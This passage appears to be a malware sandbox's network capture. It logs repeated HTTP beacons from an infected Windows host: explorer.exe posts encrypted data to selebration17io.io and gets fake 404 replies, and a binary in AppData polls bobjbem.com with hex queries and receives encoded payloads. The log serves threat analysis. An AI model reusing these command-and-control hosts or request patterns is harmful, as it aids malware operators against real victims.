Feb 5, 2024 10:59:06.516871929 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49845	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:04.213988066 CET	284	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://korpbbbgjeux.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: selebration17io.io
Feb 5, 2024 10:59:04.214037895 CET	167	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 f3 fe 0d eb Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bOx0_X{$ThV5)p\TGS9D]0
Feb 5, 2024 10:59:04.468019009 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:59:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49846	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:06.887304068 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:07.131757021 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 38 65 65 0d 0a 36 37 62 36 39 63 39 35 33 38 30 34 62 32 36 62 35 36 35 66 65 39 35 62 33 32 31 62 64 31 39 61 35 35 66 37 38 62 64 32 65 39 31 65 31 38 66 35 61 30 35 37 66 34 30 31 64 35 66 66 38 31 65 65 39 34 38 37 34 36 38 39 34 39 63 64 65 36 64 63 32 61 33 31 61 31 35 32 66 39 64 36 63 65 31 61 32 30 65 39 37 63 35 64 62 33 37 34 66 65 36 66 62 37 33 32 35 34 63 39 65 30 64 31 30 63 63 37 34 39 63 38 37 64 62 30 31 62 66 36 33 36 39 34 32 34 65 35 31 37 62 38 36 30 63 63 34 64 62 61 65 30 34 37 65 37 35 39 37 66 34 33 65 37 32 64 36 33 38 62 33 61 36 34 38 65 65 31 31 30 63 33 65 66 38 62 39 38 33 62 63 37 36 63 39 36 31 36 64 33 35 36 38 61 33 34 62 37 35 39 62 61 66 37 35 65 32 30 65 63 36 35 64 36 66 63 37 33 62 61 38 66 65 66 64 65 34 63 65 33 32 30 63 38 31 36 33 63 34 33 35 62 32 31 65 32 33 62 37 31 30 30 36 63 62 63 65 63 38 64 66 35 38 33 33 33 35 38 66 38 35 65 37 38 33 66 66 63 32 62 35 62 66 64 66 66 65 37 38 63 66 31 33 38 37 65 62 61 65 63 34 37 39 62 39 61 66 33 37 65 33 39 31 31 62 39 36 61 65 35 39 64 63 62 62 32 36 65 64 38 36 65 31 62 32 61 33 30 36 33 62 32 35 31 63 66 63 33 61 66 33 62 32 38 62 30 63 61 30 65 62 38 30 62 62 38 61 36 33 36 61 36 63 32 63 64 32 65 37 35 32 66 30 38 63 64 33 32 65 66 31 36 65 34 64 32 62 65 30 37 34 34 64 33 33 36 31 36 64 61 35 37 64 62 66 32 37 64 39 63 32 61 62 32 38 38 35 66 61 37 65 37 64 61 61 62 63 30 33 62 32 38 62 62 37 39 61 33 65 63 30 66 38 35 61 31 62 39 37 32 34 34 61 31 38 30 66 36 32 62 61 66 66 65 38 35 38 36 31 34 65 63 31 32 65 61 34 34 38 31 34 64 36 35 64 31 62 34 63 37 66 64 63 36 34 64 36 64 61 32 39 39 65 65 33 31 61 37 37 63 39 37 30 64 33 36 61 33 33 63 64 32 33 39 63 33 39 37 30 35 63 31 35 65 62 35 33 31 30 66 31 35 35 30 64 34 64 36 36 63 35 64 32 35 35 34 36 32 39 62 66 64 38 64 32 30 32 66 36 30 34 66 31 62 63 61 64 63 62 36 31 39 30 64 66 61 64 35 61 36 65 66 64 62 33 65 37 64 37 62 65 37 33 66 38 65 63 33 30 33 30 39 35 65 39 63 61 33 64 61 30 31 34 65 34 33 63 61 37 63 37 36 35 61 33 39 34 66 65 33 64 31 64 39 63 35 66 35 64 34 35 32 39 62 33 35 37 32 34 63 66 65 37 35 32 61 38 36 32 31 62 63 63 65 39 33 37 66 38 31 35 64 63 35 39 32 32 32 31 64 30 64 37 66 39 62 66 32 38 30 65 66 31 62 30 35 61 35 32 66 38 61 64 33 31 34 37 36 31 64 64 63 33 37 63 35 65 61 39 30 30 39 37 37 32 62 37 35 39 66 33 66 30 31 65 64 35 63 34 64 37 39 36 65 39 38 34 64 64 39 62 65 62 64 65 36 33 64 61 31 63 66 63 33 31 30 35 37 38 37 32 63 63 38 34 32 35 36 38 36 62 61 64 65 37 62 64 33 35 31 33 65 61 39 36 61 65 33 32 34 33 38 62 31 36 30 38 30 35 65 31 63 63 61 61 34 61 34 61 35 36 65 61 65 63 33 31 32 39 31 34 39 63 38 64 38 63 32 35 35 61 63 31 39 62 34 34 39 66 30 61 64 62 30 36 65 39 61 61 36 32 62 62 34 32 64 33 30 30 66 32 39 63 34 38 30 36 36 31 35 65 38 61 62 63 65 34 64 37 32 65 33 32 66 33 30 32 32 30 61 31 63 64 66 33 30 61 62 34 34 61 32 30 31 39 33 34 31 64 62 61 61 63 39 39 36 34 62 66 39 34 61 38 38 38 33 62 38 64 65 32 39 30 65 64 33 33 33 32 36 61 37 38 31 34 30 63 30 35 39 30 64 30 33 34 61 64 32 34 36 31 62 35 36 33 66 35 35 30 31 65 35 39 61 35 32 34 39 62 34 30 62 33 61 63 63 66 38 61 61 31 61 63 62 65 62 37 38 62 39 65 30 66 63 66 37 31 64 33 65 37 31 64 37 30 36 64 39 63 65 31 64 61 63 35 62 66 65 34 62 32 33 37 39 62 Data Ascii: 8ee67b69c953804b26b565fe95b321bd19a55f78bd2e91e18f5a057f401d5ff81ee9487468949cde6dc2a31a152f9d6ce1a20e97c5db374fe6fb73254c9e0d10cc749c87db01bf6369424e517b860cc4dbae047e7597f43e72d638b3a648ee110c3ef8b983bc76c9616d3568a34b759baf75e20ec65d6fc73ba8fefde4ce320c8163c435b21e23b71006cbcec8df5833358f85e783ffc2b5bfdffe78cf1387ebaec479b9af37e3911b96ae59dcbb26ed86e1b2a3063b251cfc3af3b28b0ca0eb80bb8a636a6c2cd2e752f08cd32ef16e4d2be0744d33616da57dbf27d9c2ab2885fa7e7daabc03b28bb79a3ec0f85a1b97244a180f62baffe858614ec12ea44814d65d1b4c7fdc64d6da299ee31a77c970d36a33cd239c39705c15eb5310f1550d4d66c5d2554629bfd8d202f604f1bcadcb6190dfad5a6efdb3e7d7be73f8ec303095e9ca3da014e43ca7c765a394fe3d1d9c5f5d4529b35724cfe752a8621bcce937f815dc592221d0d7f9bf280ef1b05a52f8ad314761ddc37c5ea9009772b759f3f01ed5c4d796e984dd9bebde63da1cfc31057872cc8425686bade7bd3513ea96ae32438b160805e1ccaa4a4a56eaec3129149c8d8c255ac19b449f0adb06e9aa62bb42d300f29c4806615e8abce4d72e32f30220a1cdf30ab44a2019341dbaac9964bf94a8883b8de290ed33326a78140c0590d034ad2461b563f5501e59a5249b40b3accf8aa1acbeb78b9e0fcf71d3e71d706d9ce1dac5bfe4b2379b
Feb 5, 2024 10:59:07.131820917 CET	1203	IN	Data Raw: 33 64 61 34 32 62 61 38 65 31 30 30 32 32 37 66 30 63 39 33 33 64 61 63 37 39 61 64 37 64 61 62 30 36 33 38 61 64 36 33 32 32 30 32 64 30 64 33 63 62 63 37 31 32 38 65 65 62 38 66 30 61 36 62 31 33 35 31 64 64 38 61 32 63 65 39 61 34 38 66 31 66 Data Ascii: 3da42ba8e100227f0c933dac79ad7dab0638ad632202d0d3cbc7128eeb8f0a6b1351dd8a2ce9a48f1f0bd51380bb55940f0b01f04b590433fe0a6d9dae7c5a8a7c15cab9fc6a957c6771254c775ede424f9e639afbccf0dee55669add27dd302f887f50a4eacba23bfa4adb818cc2006e806875ad1400dd6fc0
Feb 5, 2024 10:59:07.131859064 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49848	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:07.667269945 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:07.905463934 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49850	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:08.294101954 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:08.539160013 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49851	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:08.886311054 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:09.133291960 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49854	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:09.523077965 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:09.761641979 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49856	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:10.123882055 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:10.368825912 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49857	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:10.718827009 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:10.956943035 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49858	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:10.951195955 CET	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gqquwxfeewq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 187 Host: selebration17io.io
Feb 5, 2024 10:59:10.951251984 CET	187	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 92 ac 3b de Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO;iu+gc\|pDf./n(+eX)ZzCJ5fM-\|g]
Feb 5, 2024 10:59:11.204991102 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:59:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49859	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:11.297461987 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:11.540735960 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49863	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:11.965826035 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:12.212889910 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49866	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:13.306343079 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:13.549750090 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49867	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:15.294956923 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:15.539237976 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49868	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:15.882040977 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:16.129153013 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49869	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:16.477010965 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:16.715329885 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49870	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:17.089833975 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:17.335797071 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49871	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:17.679409027 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:17.919089079 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49872	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:18.293646097 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:18.538283110 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49873	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:18.796875000 CET	285	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vfhwbwgefjswc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 187 Host: selebration17io.io
Feb 5, 2024 10:59:18.796925068 CET	187	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 fc ff 11 f1 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bOQMS}}a-)Q0LI#('wgq{jM.{&Y6-)=sHTe4_K]
Feb 5, 2024 10:59:19.052943945 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:59:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
